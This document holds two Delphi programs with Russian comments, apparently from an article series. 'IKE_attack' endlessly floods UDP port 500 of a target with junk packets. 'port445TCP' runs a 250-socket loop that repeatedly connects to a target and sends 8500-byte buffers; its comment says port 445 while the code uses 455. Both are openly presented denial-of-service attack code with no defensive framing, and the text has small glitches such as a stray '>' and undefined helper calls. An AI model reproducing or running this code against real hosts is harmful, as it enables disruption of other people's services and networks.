program IKE_attack;

uses
 WinSock;

const MyComp = 'ADDRESS';

var
 wsadata : TWSAData;
 sin: TSockAddrIn;
 sock: TSocket;
 I : Cardinal;
 Buf : string;
begin
 WSAStartUp(257, wsadata);
 // Инициализируем сокет для соединения с удаленным компьютером по UDP
 // Протокол - UDP, отправка данных - SOCK_DGRAM
 sock:=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP);
 sin.sin_family := AF_INET;
 // Порт - 500
 sin.sin_port := htons(500);
 // Преобразуем адрес в четырехбайтное число с помощью функции,
 // рассмотреной в первой статье
 sin.sin_addr.S_addr:=d_addr(MyComp);

 // Соединение
 I:=connect(sock,sin,sizeof(sin));
 // если нельзя соединиться - выход
 if I<=0 then
 halt(1);

 // Формирование мусора для отсылки
 Buf:='';
 for I:=1 to 1024 do
 Buf:=Buf+chr(30+round(60));

 // Посылка мусора с помощью функции,
 рассмотренной во второй статье
 while true do
 DTrsend(Buf,1024,sock);
end.

program port445TCP;

uses
 WinSock;

const
 maxproccess=250; // Количество процессов
 // Флаги
 CLOSE_SOCK=0;
 CONNECTING_SOCK=1;//
 CONNECTED_SOCK=2; //
 // Таймаут
 TIME_OUT=10;

var
 // Массив сокетов
 sock : array [1..maxproccess] of TSocket;
 // Массив флагов
 stat : array [1..maxproccess] of Byte;
 time : array [1..maxproccess] of Byte;
 wsa:WSAData;
 addr : Tsockaddr;
 x : integer;
 // Сигнал блокировки сокета
 on_sock : LongInt = 1;
 off_sock : LongInt = 0;
 wfds_empty : Boolean;
 wfds : Tfdset;
 tv : Ttimeval;
 buf : array[1..8500] of char;

begin
 // Обнулим буфер отправки
 FillChar(Buf,8500,0);

 WSAStartup($101,wsa);
 // Начальная установка флагов
 for x:=1 to maxproccess do
 stat[x]:=CLOSE_SOCK;
 >repeat // бесконечный цикл

 // Инициализация сокетов
 for x:=1 to maxproccess do
 begin
 // Если сокет свободен
 if stat[x]=CLOSE_SOCK then
 begin
 sock[x]:=socket(AF_INET,SOCK_STREAM,0);
 time[x]:=TIME_OUT;
 // ВНИМАНИЕ!!! Перевод сокета в неблокирующий режим
 ioctlsocket(sock[x],FIONBIO,on_sock);
 addr.sin_family:=AF_INET;
 // Порт
 addr.sin_port:=htons(455);
 // Здесь необходимо указать адрес и используется функция
 // преобразования адреса из первой статьи
 addr.sin_addr.s_addr:=d_addr('ADDRESS');
 // Неблокирующее соединение
 connect(sock[x],addr,sizeof(addr));
 stat[x]:=CONNECTING_SOCK;
 end;
 end;

 // Использование макросов FD_ для установок и проверки
 // нужно ли делать select
 FD_ZERO(wfds);
 wfds_empty:=true;
 for x:=1 to maxproccess do
 begin
 if stat[x]=CONNECTING_SOCK then
 begin
 FD_SET(sock[x],wfds);
 wfds_empty:=false;
 end;
 end;

 // select-ируем сокеты с флагом "сокет соединяется",
 // с установкой таймаута и проверкой на
 // возможность отсылки данных
 if not wfds_empty then
 begin
 tv.tv_sec:=1;
 tv.tv_usec:=0;
 select(0,nil,@wfds,nil,@tv);
 end;

 // Проверка тайм-аута
 for x:=1 to maxproccess do
 begin
 if stat[x]<>CLOSE_SOCK then
 begin
 dec(time[x]);
 // Если время на соединение истекло -
 // закрываем сокет с установкой флага
 if time[x]=0 then
 begin
 stat[x]:=CLOSE_SOCK;
 // ВНИМАНИЕ!!! Перевод сокета в блокирующий режим
 // перед закрытием
 ioctlsocket(sock[x],FIONBIO,off_sock);
 closesocket(sock[x]);
 end;
 end;

 // Проверка на соединение (соединились ли уже)
 if stat[x]=CONNECTING_SOCK then
 begin
 // Если соединение уже произошло и можно отправлять данные -
 // установим флаг
 if FD_ISSET(sock[x],wfds) then
 stat[x]:=CONNECTED_SOCK;
 end;

 // Проверка на возможность отправки
 if stat[x]=CONNECTED_SOCK then
 begin
 FD_CLR(sock[x],wfds); // обнулим буфер сокета
 send(sock[x],buf[1],8500,0);
 // Отправка данных и закрытие сокета
 stat[x]:=CLOSE_SOCK;
 // ВНИМАНИЕ!!! Перевод сокета в блокирующий режим
 // перед закрытием
 ioctlsocket(sock[x],FIONBIO,off_sock);
 closesocket(sock[x]);
 end;
 end;
 until
 false;
end.